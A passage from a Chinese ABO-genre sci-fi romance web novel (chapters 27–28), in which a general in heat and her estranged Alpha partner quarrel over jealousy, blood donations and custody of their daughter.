明毓回过神来,勉强挤出一丝笑容,轻声说:“妈妈有点事,可能要晚点回来。我们先吃饭吧,好不好?” 颂颂乖巧地点了点头,低头继续吃饭。 明毓看着她天真无邪的小脸,心里稍微有了一丝安慰,但那股挥之不去的烦躁和不安依旧萦绕在心头。 饭后,明毓陪着颂颂玩了一会儿。 直到小家伙困意袭来,揉着眼睛说:“妈咪,我困了。” 明毓抱起她,轻声说:“好,妈咪带你去睡觉。” 她带着颂颂去洗了澡,抱到床上,轻轻拍着她的背,直到颂颂沉沉睡去。 明毓坐在床边,看着颂颂安静的睡颜,心里却无法平静。她学着宋青佩的样子轻轻吻了吻颂颂的额头,起身离开了房间。 回到大厅,明毓坐在沙发上,目光无神地盯着光脑上的时间。 时间一分一秒地流逝,她的心情也越来越沉重。 脑海中不断浮现出宋青佩和慕容瑞雪在一起的画面,心中的醋意几乎要将她淹没。她忍不住胡思乱想:宋青佩和慕容瑞雪在干什么?为什么她宁愿陪着一个上司,也不愿意回家? 明毓的拳头紧紧攥住,指甲几乎嵌进掌心。 她深吸了一口气,试图让自己冷静下来,但那股无法抑制的酸涩感却让她几乎喘不过气来。 直到深夜,门外终于传来了脚步声,明毓猛地抬起头,目光死死地盯着门口。 宋青佩推门而入,看到坐在沙发上的明毓,显然吓了一跳。 “明毓,你怎么还没睡?” 明毓目光沉沉地看着她,声音低沉而压抑:“我在等你。” 宋青佩愣了一下,不解地问:“等我干什么?” 对于她这种漫不经心的态度,明毓气得胸口发闷,忍不住带着质问的口气道:“你为什么回来这么晚?” “我不是说了吗?慕容瑞雪住院了,我照顾了她一会。” 闻言,明毓的拳头攥得更*紧了。 她猛地站起身,走到宋青佩面前,目光如刀般锋利:“一个工作而已,值得你这么拼命讨好上司吗?这么晚了连家都不回了?” 宋青佩听到她的话,眉头皱得更深了。 她抬起头,直视着明毓的眼睛,语气中带着明显的不满:“明毓,你这是什么意思?我的工作对我来说很重要,我不希望你用这种轻蔑的态度来看待它。” “工作?”明毓冷笑了一声,语气中带着讥讽:“你确定只是工作,而不是在找借口陪你的‘上司’?” 宋青佩的脸色瞬间沉了下来,声音中带着一丝怒意:“明毓,你这话是什么意思?慕容瑞雪是我的上司,也是我的朋友。她生病了,我陪她是理所应当的,你凭什么用这种语气质问我?” 明毓的怒火瞬间被点燃,她猛地凑近宋青佩,鼻尖几乎贴到她的脸上。 一股熟悉又陌生的Omega信息素的味道扑面而来。 又是这个味道,一瞬间,熟悉的记忆从明毓的脑海中苏醒过来。 原来,那么早就…… 她的目光死死地盯着宋青佩的眼睛,声音低沉而冰冷:“朋友?宋青佩,你确定你们只是朋友?” 宋青佩被她突如其来的举动吓了一跳,皱眉道:“明毓,你到底想说什么?” “我想说什么?”明毓的嘴角勾起一抹冷笑,声音中带着浓浓的醋意:“宋青佩,你身上那股Omega信息素的味道,你以为我闻不到吗?” 宋青佩愣了一下,Omega的信息素味道,应该是慕容瑞雪留下的,这本来就不是什么见不得人的,而且她也不认为有给明毓解释的必要。 面对明毓滔天的怒火,她淡淡道:“那又怎么样?” 那又怎么样? 一句淡淡地反问,几乎灼烧了明毓所有的理智。 她忍不住死死地抓住宋青佩的肩膀,声音低沉而压抑,仿佛从喉咙深处挤出来一般:“宋青佩,你就这么迫不及待地找新欢了吗?” 面对她这种可笑的质问,宋青佩忍不住讥讽道:“明毓,你不会是在吃醋吧?” 明毓的脸色瞬间变得苍白,她的拳头紧紧攥住,指甲几乎嵌进掌心。 她的目光死死地盯着宋青佩,声音低沉而压抑:“是,我就是在吃醋。宋青佩,我就是受不了你对别人好,受不了你身上有别人的味道!” 宋青佩愣住了,她没想到明毓会如此直接地承认。 她的眼中闪过一丝复杂的情绪,但很快又被理智所取代。 她想到了明毓对她的嫌弃,冷冷地威胁:“宋青佩,你不配标记我,更不配让我生下女儿,这事就当没发生过。我会带着女儿离开,别再继续纠缠,不然别怪我不客气。” 一遍遍地告诉她,让她把嘴巴逼近,不要对外胡说两人的关系。 甚至就在新闻澄清时,她对外的说法依旧是,她不是什么劣等Alpha,而是一名机甲维修师,自始至终,明砚从未接受过曾经的她,她一直在否定那段她珍视的过去,甚至将其视为耻辱。 如今,她居然能睁着眼说出在吃醋这种话,宋青佩简直要被她的厚脸皮给气笑了。她又不是傻子,相信这种鬼话才怪。 她不由冷笑了一声,声音中带着明显的嘲讽:“明毓,你别开玩笑了好不好?” 明毓的脸色瞬间变得苍白,她的嘴唇微微颤抖:“我是认真的,我……我爱你。” 宋青佩她冷冷地看着明毓,理智而冷静:“明毓,你别再自欺欺人了。你根本就不懂什么是爱,你只是不甘心而已,无法接受被人拒绝而已,你根本就不爱我。” 明毓愕然地看着她,试图证明些什么。 可话嘴边,只能无力地重复:“宋青佩,你……你相信我。我是真的爱你,我真的……”” “够了。”宋青佩难以忍受地打断她的话,“你放心,我会给你血的,别再恶心我了好吗。” 说完,她看都不想看明毓一眼,转身就走。 明毓看着宋青佩决绝的背影,心中一阵刺痛。 她伸出手,试图抓住宋青佩的手腕,却被对方毫不留情地甩开。 “宋青佩,你听我解释……”明毓的声音中满是恳求。 宋青佩停下脚步,声音冷得像冰:“解释?明毓,你觉得还有什么好解释的?你不过是因为自己的信息素不稳定,才来找我。你根本不在乎我的感受,你只是需要我的血来稳定你的发热期。” 明毓的心猛地一沉,仿佛被一把锋利的刀刺中。 她急切地走上前,试图再次靠近宋青佩,却被对方冷冷的目光逼退。 “我不是为了血……”明毓的声音低了下来,带着一丝无力,“我是真的……真的在乎你。” 宋青佩看着她,眼神中满是嘲讽:“在乎我?你所谓的在乎,就是在恢复记忆后,毫不犹豫抹杀曾经的一切?就是在我最渴望有个家的时候,威胁我要将颂颂带走?你所谓的在乎,就是在我不愿意的时候,一次次地用羞辱的方式命令我标记你?” 明毓的脸色瞬间变得苍白,她无法反驳宋青佩的话。 她低下头,声音中带着一丝懊恼:“我……我知道错了。你给我一次机会,好不好?我会改的。” 宋青佩的眼神中闪过一丝复杂的情绪,但很快又被理智所取代。 她转过身,背对着明毓,声音冷硬:“明毓,有些伤害是无法弥补的,正如人的本性也是无法改变的。我们之间隔着的鸿沟,是无法逾越的,我能理解你的选择,只希望你不要用如此卑劣的手段来达成自己的目的,这样只会让我看不起你。” 归根结底,她根本就不相信明毓爱她的鬼话。 她又不是没有被爱过,曾经的明毓……不对,她死了的老婆可不是这么爱她的,越想,宋青佩越心酸,看明毓越发不顺眼了。 更是一句话都不想跟她说了,转身上了楼。 明毓站在原地,看着宋青佩的背影,眼中满是痛苦和无助。 她仿佛在说给自己听般:“宋青佩,我不会放弃的。” 宋青佩没有回应,只是默默地走进了卧室,关上了门。 明毓站在原地,久久没有动弹。 第27章 宋青佩,我没那么饥渴! 半夜,宋青佩被一股浓郁的信息素刺激醒。 她的信息素反应一向冷淡,几乎不会受到外界的影响,但这一次,她却感到身体不由自主地发热,心跳加速,呼吸也变得急促起来,额头上渗出了一层细密的汗珠。 她猛地从床上坐起,心中立刻明白过来——明毓的发热期又来了。 “真是麻烦。” 宋青佩忍不住吐槽了一句,无奈地起身,从床头柜的抽屉里拿出一支针剂。 她深吸了一口气,试图平复自己因信息素影响而有些紊乱的呼吸,随后咬牙用针剂抽了血,快步走向明毓的房间。 还没走到门口,那股浓郁的Omega信息素味道便扑面而来。 宋青佩的脚步微微一顿,眉头皱得更紧了。 她感到自己的心跳再次加快,身体也不由自主地发热,仿佛有一股无形的力量在拉扯着她,试图将她拉入那信息素的漩涡中。 她咬了咬牙,努力稳住心神,伸手推开了明毓的房门。 房间内,明毓正躺在床上,脸色潮红,额头上布满了细密的汗珠。 她的呼吸急促而紊乱,双手紧紧攥着床单,指节因用力而泛白,嘴唇已经被咬破了,渗出了一丝血迹。 对于宋青佩的到来,明毓似乎毫无察觉,依旧死死的闭着眼,紧咬着下唇,仿佛在极力压抑着什么。 宋青佩走近床边,低头查看明毓的情况,眼中闪过一丝复杂的情绪。 她伸出手,准备将针剂中的血液注射进明毓的腺体,然而,就在她的手指即将触碰到明毓的皮肤时,明毓突然睁开眼,挣扎起来,猛地推开了她的手。 “不用你管……” 明毓的声音沙哑而虚弱,带着一丝倔强和抗拒。 她的眼神有些涣散,但依旧死死盯着宋青佩,仿佛在极力维持着最后一丝尊严。 宋青佩被她的反应激怒了,不由嘲讽一声:“上将大人,这时候就收起你那可笑的骨气吧。你以为你现在这副样子,还能撑多久?” 明毓的脸色变得更加苍白,眼中闪过一丝羞愤。 她想要再次挣扎,但身体却因为发热期的折磨变得虚弱无力,胸口剧烈起伏着,呼吸也越发急促。 宋青佩见状,不再犹豫,直接伸手摁住了明毓的肩膀,将她牢牢固定在床上。 她的手掌触碰到明毓滚烫的皮肤时,明毓的身体猛地一颤,随即发出一声压抑的呻吟。她的反应更加激烈了,仿佛宋青佩的触碰让她体内的信息素更加失控。 明毓不敢再动,只能紧紧闭上眼,试图压抑住自己内心对宋青佩的渴望。 她的手指深深嵌入掌心,指甲几乎要刺破皮肤,但她却感觉不到疼痛,脑海中更是一片混乱,唯一清晰的,便是宋青佩身上那股淡淡的、令她无法抗拒的信息素味道。 宋青佩没有再多说什么,迅速将针剂中的血液注射进明毓的腺体。 随着血液的注入,明毓的身体逐渐平静下来,呼吸也变得平稳了许多。 然而,她的眼神却依旧空洞,仿佛在经历了一场激烈的战斗后,身心俱疲。 宋青佩站起身,低头看了明毓一眼,眼中闪过一丝复杂的情绪。她张了张嘴想说些什么,但最终又咽了回去,转身离开了房间。 明毓躺在床上,慢慢平复着自己,等她反应过来宋青佩已经走到了门口。 听着宋青佩的脚步声逐渐远去,她心中涌起一股难以言喻的空虚感,想要叫住宋青佩说些什么,但喉咙却像是被什么堵住了一般,发不出任何声音。 她只能眼睁睁地看着宋青佩的背影消失在门口,心中充满了无尽的失落。 第二天清晨,明毓早早起床下楼。 她的脸色有些苍白,眼神中也带着一丝疲惫。 明毓走到餐厅,却发现宋青佩早已不在,颂颂也被她送去了幼儿园。 苏管家走了过来,手中拿着两管低温保存的血液,递给了明毓:“上将,这是宋小姐让我交给您的。” 明毓接过那两管血液,手指微微颤抖,心中涌起一股难以言喻的酸楚。 宋青佩现在连见都不想见她了吗?甚至连亲自将血液交给她的耐心都没有了? 她站在原地,久久没有动弹,脑海中不断回放着昨晚的情景。 宋青佩那冷漠的眼神、嘲讽的语气,以及她毫不犹豫离开的背影,仿佛一根根尖锐的刺,深深扎在她的心上。 她试图平复自己的情绪,但那股酸涩的感觉却始终挥之不去。 —— 宋青佩一早便驱车前往医院,心中还惦记着慕容瑞雪的身体状况。 她走进医院,径直走向慕容瑞雪的病房,却发现病房里空无一人,床铺整整齐齐,显然已经有人收拾过了。 她愣了一下,随即走到护士站询问。 “请问,慕容瑞雪小姐已经出院了吗?”宋青佩礼貌地问道。 护士抬头看了她一眼,点了点头:“是的,慕容小姐今天早上已经办理了出院手续。” 宋青佩皱眉,心中有些疑惑。 慕容瑞雪的身体状况明明还不算稳定,怎么这么快就出院了? 她拿出手机,拨通了慕容瑞雪的电话,电话那头很快接通了。 “瑞雪姐,你怎么出院了?身体还好吗?” 电话那头,慕容瑞雪的声音听起来十分轻松:“青佩,我已经没事了,医生也说我可以出院了。你别担心,我现在在公司呢。” 宋青佩松了一口气,叮嘱:“那你多注意休息,别太累了。” “放心吧,我没事的。”慕容瑞雪笑了笑,“公司这边有几台战斗机甲需要检修,你也过来吧。” 宋青佩点头答应:“好,我这就过去。” 挂断电话后,宋青佩驱车前往公司。 她走进公司大门,径直走向机甲维修车间。 车间里,慕容瑞雪正站在一架高大的战斗机甲前,手里拿着检测仪器,专注地检查着机甲的各个部件。 “瑞雪姐。”宋青佩走上前,轻声打了个招呼。 慕容瑞雪回过头,看到宋青佩,脸上露出笑容:“青佩,你来了。” 宋青佩走到她身边,目光落在眼前的战斗机甲上。 这台机甲通体银灰色,线条流畅,虽然已经有些磨损,但依旧散发着一种凌厉的气势。她忍不住伸手摸了摸机甲的装甲,冰冷的触感让她心中微微一动。 “这台机甲是最近从战场上退下来的,需要全面检修。”慕容瑞雪解释道,“青佩,你之前学过一些机甲维修的基础知识,今天可以试试实际操作。” 宋青佩点了点头,眼中闪过一丝兴奋。 她一直对机甲维修很感兴趣,之前慕容瑞雪给她讲解过一些基础理论,她也自学了不少资料,今天终于有机会亲自上手了。 慕容瑞雪将手中的检测仪器递给宋青佩,指了指机甲胸部的装甲板:“你先检查一下这里的能量回路,看看有没有破损。” 宋青佩接过仪器,仔细地检查起来,她的动作虽然有些生疏,但每一步都做得很认真。 慕容瑞雪站在一旁,时不时地指点几句。 “这里的能量回路有些老化,需要更换。”宋青佩指着仪器上显示的数据说道。 慕容瑞雪点了点头,赞许地看了她一眼:“不错,你的观察很细致。接下来,我们把这部分装甲板拆下来,更换新的能量回路。” 两人配合默契,很快将装甲板拆了下来。 宋青佩看着复杂的内部结构,心中有些震撼。 她之前只在资料上看过机甲的构造图,今天亲眼见到,才发现远比想象中要复杂得多。 “青佩,你试着用精神力感应一下这里的能量流动。”慕容瑞雪指了指机甲内部的能量核心。 宋青佩点了点头,深吸一口气,将手放在能量核心的感应器上。 她闭上眼睛,集中精神,试图感应能量的流动。 然而,就在她的精神力刚刚释放的瞬间,她突然感到一阵强烈的眩晕,身体不由自主地晃了晃。 “青佩!”慕容瑞雪察觉到她的异常,连忙扶住她。 宋青佩的脸色瞬间变得苍白,额头上渗出了细密的汗珠,她想要站稳,却发现双腿发软,根本无法支撑自己的身体。 “我……我没事……”宋青佩勉强开口,声音却虚弱得几乎听不清。 慕容瑞雪皱紧了眉头,伸手摸了摸宋青佩的额头,发现她的体温异常低,再加上精神力的过度消耗,才导致体力不支。 “你别逞强了,我送你去医院。”慕容瑞雪不由分说,扶起宋青佩走向车间外。 宋青佩想要拒绝,但身体却完全不听使唤,只能任由慕容瑞雪搀扶着。 她的意识逐渐模糊,眼前的景象也变得模糊不清,耳边只剩下慕容瑞雪焦急的声音。 “青佩,坚持住,我们马上就到医院了。” 宋青佩想要回应,却发现自己连说话的力气都没有了。 慕容瑞雪将宋青佩扶上车,迅速发动了车子。 她一边开车,一边时不时地看向宋青佩,眼中满是担忧。 “青佩,你别睡,马上就到医院了。”慕容瑞雪的声音中带着一丝焦急。 宋青佩勉强睁开眼睛,看着慕容瑞雪焦急的侧脸,她想要说些什么,却发现自己连抬手的力气都没有了。 车子很快到达了医院,慕容瑞雪迅速下车,将宋青佩扶进了急诊室。 医生立刻为宋青佩做了检查,发现她是因为失血过多,加上精神力消耗过大,导致身体极度虚弱,才会晕眩。 “需要立刻输液,补充能量。”医生一边说着,一边为宋青佩挂上了点滴。 慕容瑞雪站在一旁,看着宋青佩苍白的脸色,心中满是自责。她没想到,宋青佩的身体状况会这么差,早知道就不该让她参与机甲维修的工作。 “青佩,对不起,是我疏忽了。” 宋青佩摇了摇头,勉强挤出一丝笑容:“瑞雪姐,不怪你,是我自己没注意。” 慕容瑞雪叹了口气,安慰道:“你好好休息,别想太多。” 宋青佩点了点头,有些疲惫的闭上眼睛。 她最近确实有些累。 —— 明毓坐在军部的办公室里,手中的笔在文件上快速滑动,签署着审批文件。 她的眉头紧锁,神情专注,仿佛要将所有的注意力都集中在眼前的工作上,以此来压制体内那股不断翻涌的热潮。 她的发热期又来了。 尽管她已经习惯了这种周期性的折磨,但每一次的发作依旧让她感到难以忍受。 明毓的身体微微颤抖,额头上渗出了细密的汗珠,手中的笔也因为用力过度而微微发颤。她深吸了一口气,努力平复着自己的呼吸,随后从抽屉里拿出一支血制剂,毫不犹豫地将针头刺入了自己的腺体。 随着血液的注入,那股灼热的感觉逐渐消退,她的呼吸也平稳了许多。 明毓闭上眼睛,靠在椅背上,感受着体内的躁动逐渐平息。 她知道,这只是暂时的缓解,发热期的折磨还会持续几天,但她已经没有时间去顾及这些了。 高级军校的建立迫在眉睫,军部的工作堆积如山,她必须尽快处理完这些事务。 明毓重新坐直身体,将手中的血制剂扔到一边,继续投入到工作中。 中午时分,办公室的门被轻轻敲响。 明毓抬起头,看到宋惜寒推门走了进来。 她穿着一身干练的军装,脸上带着一丝淡淡的笑意,手里还提着一个餐盒。 “明上将,工作再忙也得吃饭吧?”宋惜寒走到明毓的办公桌前,将餐盒放在桌上,目光扫过桌上那支被随意丢弃的血制剂,眼中闪过一丝惊讶。 “你都开始用血压制发热期了?”宋惜寒的语气中带着一丝不可置信,随即又露出一抹意味深长的笑容,“看来你和宋青佩的关系……还真是非同一般啊。” 明毓皱了皱眉,没有接话。 她并不想多谈自己和宋青佩之间的事情,随手将血制剂收进了抽屉。 宋惜寒挑了挑眉,拉过一把椅子,坐在明毓对面,将饭盒的菜一一摆好。 她一边吃,一边漫不经心道:“不过,我得提醒你一句,抽血过多可是很影响Alpha的精神力的。宋青佩的职业又需要高度集中的精神力,你可得注意点,别把她给榨干了。” 明毓的手微微一顿,眼中闪过一丝复杂的情绪。 她从未想过这一点,宋青佩的职业是机甲维修师,需要极高的精神力来操控和感知机甲的能量流动。 如果因为频繁抽血而导致精神力受损,后果不堪设想。 她的心中涌起一股莫名的愧疚,但很快又被她压了下去。 她低下头,继续处理手中的文件,语气冷淡:“我知道了。” 宋惜寒见状,也不再继续这个话题。 她夹起一块红烧肉放进嘴里,嚼了几口,突然叹了口气:“说起来,这些年战家风头正盛,战南笙的父亲又是总统,在联邦的声望如日中天。你和战南笙的争斗,可得小心点。” 明毓的眉头微微皱起,手中的笔也停了下来,目光冷峻:“战家再怎么强大,也动摇不了军部的根基,我会重振明家的,不会让他们继续打压明氏一族。” 闻言,宋惜寒苦笑了一声:“你倒是争气。可怜我天天被家里念叨,说我再不努力,宋家就要彻底没落了。” 明毓没有接话。 她的心思早已飞到了宋青佩身上,脑海中不断回响着宋惜寒刚才的话,抽血过多会影响精神力,宋青佩的身体会不会已经出了问题? 她的心中隐隐有些不安,但表面上依旧保持着冷静。 宋惜寒见她不说话,便自顾自地继续说:“说起来,当年总统容岑的事,真是让人唏嘘。要不是战家从中作梗,容总统也不会身死,我们宋家也不会就此被排挤出军部……” “慎言。”明毓突然打断了宋惜寒的话,语气冷冽。 宋惜寒愣了一下,随即意识到自己失言,赶紧闭上了嘴。 二十年前总裁容岑的事,是军部乃至整个联邦的禁忌,任何人提起都可能引来不必要的麻烦。 两人之间的气氛变得有些沉闷,谁都没有再说话。 明毓匆匆吃完饭后,便借口还有工作要处理,打发走了宋惜寒。 等她离开后,明毓立刻拿起手机,拨通了宋青佩的电话。 电话响了几声后,终于被接通了,然而接电话的却不是宋青佩,而是慕容瑞雪。 “明上将?”慕容瑞雪的声音从电话那头传来,带着一丝疲惫。 明毓的心猛地一沉,强压住心中的愤怒,冷声问:“青佩呢?” 慕容瑞雪沉默了片刻,才低声解释道:“青佩之前晕倒了,刚刚睡着。她身体有些虚弱,需要休息。” 明毓的脑海中瞬间一片空白,语气急切道:“她在哪家医院?” 慕容瑞雪报出了医院的地址,明毓立刻挂断了电话,抓起外套便冲出了办公室。她的脑海中只有一个念头——立刻赶到宋青佩身边。 她驱车赶往医院,一路上心乱如麻。 她从未想过,宋青佩会因为抽血过多而晕倒,心中充满了强烈的自责和愧疚,所有的情绪交织在一起,让她几乎无法冷静思考。 明毓匆忙赶到医院,推开病房门的瞬间,映入眼帘的是宋青佩正靠在床头,脸色苍白,手背上插着点滴的针头。 慕容瑞雪坐在床边,手里端着一杯温水,正小心翼翼地喂宋青佩喝水。 她的眼神中满是关切,两人之间的氛围温馨而亲密,仿佛没有任何人能插足其中。 明毓的心猛地一沉,胸口像是被什么东西狠狠攥住,呼吸都变得困难起来。 她的脚步顿在门口,手指紧紧攥住门框,目光死死盯着慕容瑞雪的手,看着她将水杯递到宋青佩唇边,看着她温柔地和宋青佩说话。 一瞬间,明毓的脑海中仿佛有什么东西炸开了,醋意如同潮水般汹涌而来,几乎要将她淹没。 她深吸了一口气,强压下心中的怒火,快步走了进去。 她的脚步声在安静的病房里显得格外突兀,慕容瑞雪和宋青佩同时抬起头,看向她。 宋青佩的眼神中带着一丝惊讶,而慕容瑞雪则微微挑眉,嘴角勾起一抹淡淡的笑意,仿佛早就预料到明毓会来。 “明上将,你怎么来了?”慕容瑞雪语气中带着一丝若有若无的挑衅。 明毓没有理会她,径直走到床边,她伸手从慕容瑞雪手中接过水杯,语气冷淡:“我来照顾她就行,你可以回去了。” 慕容瑞雪没有立刻松手,而是意味深长地看了明毓一眼,轻笑道:“明上将,青佩的身体还很虚弱,需要人照顾。你工作那么忙,恐怕没时间吧?” 明毓的眼神瞬间冷了下来,语气中带着不容置疑的强硬:“这是我的事,不劳你费心。” 宋青佩察觉到两人之间的火药味,皱了皱眉,轻声说:“明毓,我自己来就行,不用麻烦你了。” 她的声音有些虚弱,却带着一丝疏离,仿佛在刻意拉开与明毓的距离。 明毓的心猛地一沉,握着水杯的手微微收紧,“你身体这么虚弱,怎么能自己来?” 宋青佩抬眸看了她一眼,眼神中满是无奈和疲惫:“我真的没事,不用麻烦你了。” 明毓被她的话噎住,心中的怒火更甚。 她不明白,为什么宋青佩总是对她如此冷淡,而对慕容瑞雪却可以如此亲近。 她的目光扫过慕容瑞雪,看到她嘴角那抹若有若无的笑意,心中的醋意几乎要将她逼疯。 “慕容小姐,青佩有我照顾,你可以回去了。”明毓的语气冷硬,目光如刀般锋利,直直刺向慕容瑞雪。 慕容瑞雪轻笑了一声,站起身,语气温柔:“青佩,那你好好休息,我晚点再来看你。” 宋青佩点了点头,轻声说道:“谢谢你,瑞雪姐。” 明毓听到她对慕容瑞雪的称呼,心中的醋意更甚。 她紧紧攥住水杯,指节发白,仿佛下一秒就要将杯子捏碎。 慕容瑞雪转身离开时,故意在明毓耳边低声说:“明上将,青佩的身体可经不起折腾,你可要温柔点。” 明毓的脸色瞬间变得铁青,心中的怒火几乎要喷涌而出。 她深吸了一口气,强压下心中的情绪,转身坐回床边,将水杯递到宋青佩唇边,语气中带着一丝强硬:“喝水。” 宋青佩皱了皱眉,伸手想要接过水杯:“我自己来就行。” 明毓的手微微一顿,语气中带着一丝压抑的怒意:“你就这么不想让我照顾你?” “明毓,你不用这样,我真的没事。” 说着,宋青佩轻轻推开了明毓的手,自己接过水杯,低头喝了一口。她的动作轻柔而疏离,仿佛在刻意拉开与明毓的距离。 明毓的心猛地一沉,仿佛被什么东西狠狠攥住,呼吸都变得困难起来。 她深吸了一口气,低声说:“宋青佩,我不会再用你的血了。” 宋青佩的动作微微一顿,抬眸看向明毓,眼神中带着一丝惊讶:“那你发热期怎么办?” 明毓被她的话噎住,嗔怒道:“宋青佩,你就这么讨厌我吗?” 讨厌到哪怕已经到了这个地步,却还不愿意碰她。标记她,仿佛比要她的命还难,这让明毓感到无比挫败。 宋青佩沉默了许久,没有接话。 对于她这种逃避的态度,明毓十分煎熬,她几乎放下了所有的自尊,羞恼道:“宋青佩,你到底要我怎么做,才能接受我?愿意标记我?” 宋青佩沉默不语,眼神中带着一丝复杂的情绪。 她的目光落在明毓的脸上,仿佛在审视着什么,又仿佛在压抑着内心的波动。 明毓被她看得有些不自在,心中的羞恼和不安交织在一起,让她忍不住再次开口:“宋青佩,你到底要怎么样才肯标记我?我什么都可以答应你。” 宋青佩依旧没有立刻回答,她的眼神微微闪烁,似乎在权衡着什么。 片刻后,她终于开口,声音低沉而冷静:“什么都可以吗?” 明毓的心猛地一跳,仿佛看到了希望的曙光,她毫不犹豫地点头:“是,什么都可以。” 宋青佩的目光一沉,缓缓开口,声音中带着一丝试探:“那颂颂呢?” 明毓的脸色一变,拒绝道:“不行,颂颂除外,这……是我唯一的底线。” 宋青佩轻轻摇了摇头,语气中带着一丝失望:“明毓,你还是不明白。颂颂对我来说,也是唯一的底线。” 听她这么说,明毓顿时紧张起来,不死心道:“除了颂颂,我什么都可以给你。” 宋青佩的目光落在明毓的脸上,沉默着,细细打量着她,仿佛在审视着她的每一个表情。 许久后,她终于开口,声音低沉而冷静:“明毓,我可以答应你,直到你找到压制信息素的办法。但是,你必须保证,不管两年后颂颂选择跟谁,你都要让我按时探视她。” 听到她的条件,明毓的心猛地一跳,她没想到宋青佩居然已经开始考虑两年后的约定了,甚至已经做好了颂颂跟着她的准备。 这一刻,强烈的不安让她恐惧,仿佛宋青佩离她越来越远了。 她不想答应,她甚至想告诉宋青佩,她们不会分开,可是想到宋青佩如今的态度,这些话她已经不敢轻易再说。 犹豫片刻,明毓只得咬牙点头:“好,我答应你。” 两人算是暂时达成一致,想到还要违心保持无爱的**的关系,宋青佩更是连看明毓都不想看了,默默移开了视线。 那里面明晃晃的嫌弃刺痛了明毓,她死死地盯着宋青佩,声音中带着一丝压抑的怒意:“宋青佩,你今天还能回家吗?” 这话听在宋青佩的耳中,仿佛就在变相的问:今天你还能满足我吗? 既然都答应了,她自然不会继续逃避,于是故做从容道:“你放心,我输完液就可以回去,不会耽误晚上安抚你发热期的。” 对宋青佩的关心被误解成这样,明毓羞恼不已,恨恨道:“宋青佩,我没那么饥渴。” 宋青佩忍不住表示:“你这话真的一点说服力也没有。” 明毓顿时羞恼不已,耳根微微发烫。 第28章 标记我 病房里的气氛沉默而尴尬,仿佛连空气都凝固了。 宋青佩本以为,以明毓的脾气肯定转身就走,可是没想到她只是冷了脸,甚至连反驳都没说一句。更让她惊讶的是,明毓明明一副怒气上涌的模样,居然还强忍着情绪,继续照顾她,还问她喝不喝水。 这让宋青佩不由暗中感叹,不愧是能做上将的人,为了让她安抚发热期真是能屈能伸。 可是想到要标记明毓,她心中就不由泛起复杂的情绪。虽然已经答应了明毓的条件,但真正要面对时,还是感到有些不自在。 而明毓则站在一旁,手指无意识地握紧掌心,脑海中不由自主地浮现出两人过去的亲密时刻,那些画面像是被点燃的火苗,瞬间点燃了她体内的热度。 她的呼吸微微急促,脸颊泛起一抹不自然的红晕,身体的反应让她更加尴尬。 宋青佩察觉到明毓的异样,侧过头瞥了她一眼,目光落在明毓微微泛红的耳根和略显急促的呼吸上,心中顿时了然。 她不由轻轻挑了挑眉,嘴角勾起一抹若有若无的笑意,却没有说话。 明毓被她的目光看得更加不自在,仿佛自己的心思被彻底看穿。她猛地站起身,语气有些生硬:“我出去一下。” 说完,她几乎是逃也似的离开了病房。 走出病房后,明毓靠在走廊的墙上,深深吸了一口气,试图平复内心的躁*动。 她知道自己不能再这样下去,发热期的反应已经开始影响她的理智。 她咬了咬牙,径直走向医生的办公室。 “医生,给我打一针最强的抑制剂。”明毓的语气坚决。 医生抬头看了她一眼,对她的要求有些惊讶,还是尽职地要求她必须先做检查。 明毓没有为难她,只是给李蔓打了电话,让她将自己的电子病历同步到了医院,医生看到她病历,神色顿时变得凝重中夹杂着同情。 对于这种眼神,上将大人实在不喜欢。 她不由冷声道:“现在可以打抑制剂了吧?” 医生立刻点了点头:“可以,请稍等。” 片刻后,医生取出一支强效抑制剂给明毓注射,针头刺入她的手臂,冰冷的液体流入体内,带来一阵短暂的刺痛。 随着抑制剂的生效,她感到体内的热度逐渐消退,呼吸也平稳了许多。 明毓松了一口气,整理了一下情绪,重新回到病房。 推开门时,她发现宋青佩已经拔掉了点滴,正站在床边整理衣服,似乎准备离开。 “你好了?”明毓有些惊讶,语气中带着一丝不确定。 宋青佩点了点头,语气平静:“好多了,回去吧。” “你没必要这么着急走,我可以照顾颂颂。”明毓有些不放心。 难得听到她说句人话,宋青佩不由把目光落在明毓身上,见她脸上是未消退的绯红,嘴角不由勾起一抹淡淡的笑意,“还是回去吧,怎么能让上将大人在医院出丑呢?” 明毓听出她话中的调侃,脸色微微一僵,心中既羞恼又别扭。 她想要反驳,却发现无话可说,只能抿了抿唇,转身走向门口:“那走吧。” 两人一前一后走出医院,坐上了悬浮车。 明毓坐在驾驶座上,目光直视前方,仿佛在刻意回避与宋青佩的视线接触。 宋青佩则靠在副驾驶座上,侧头看着窗外的景色,手指轻轻敲击着车窗,似乎在思索着什么。 车内只有悬浮车引擎的低鸣声,显得格外安静。 明毓的余光瞥见宋青佩的侧脸,心中不由得泛起一阵复杂的情绪。她想要说些什么,打破这令人窒息的沉默,却又不知从何开口。 “你……身体真的没问题了吗?” 许久,明毓终于开口,声音有些干涩,语气中带着一丝不易察觉的关切。 宋青佩转过头,淡淡地笑了笑:“嗯,好多了,多谢关心。” 明毓点了点头,她想要再说些什么,却又觉得无从说起,只能继续沉默。 悬浮车缓缓驶入空中车道,窗外的景色飞速掠过。 明毓心中却暗叫不好,刚刚打的抑制剂很快就失去了作用,似乎只要和宋青佩在一起,她的信息素就比平日活跃得多。 她的手指微微颤抖,呼吸也变得有些紊乱,身体已经慢慢热了起来。 宋青佩似乎察觉到了她的异样,侧过头看了她一眼,“你还好吗?” 闻言,明毓的身体微微一僵,神色中满是羞恼和狼狈。 她咬了咬牙,故作平静道:“……我没事。” 看出她的窘迫,宋青佩没有再追问,只是将视线移到了一边,避免明毓的尴尬。 而明毓体内越来越热,呼吸越发急促,强烈的感觉甚至让她忍不住发出压抑的轻哼声。 宋青佩敏锐地听到了,视线不由再次瞥向明毓,只见她白皙的脸颊泛着不自然的红晕,显然是在强忍着发热期的反应。 她几次欲言又止,手指无意识地摩挲着车窗边缘,犹豫着是否要开口。 察觉到她的试探,明毓不由看向她,颤声道:“有话就说,不要……不要吞吞吐吐的。” 宋青佩犹豫片刻,终于开口:“要不……我先给你点血?” 明毓的脸色瞬间变得难看,她咬了咬牙,语气冷硬:“不必,我可以撑住。你现在虚弱的样子,我……我可没有虐待病人的爱好。” 宋青佩对她的嘴硬无言以对,只能无奈地耸了耸肩,不再多言。 她转过头,继续看向窗外,心中却隐隐有些不安。 明毓的发热期显然已经开始失控,她真的能撑到晚上吗? 车内再次陷入沉默,只有悬浮车引擎的低鸣声在耳边回响。 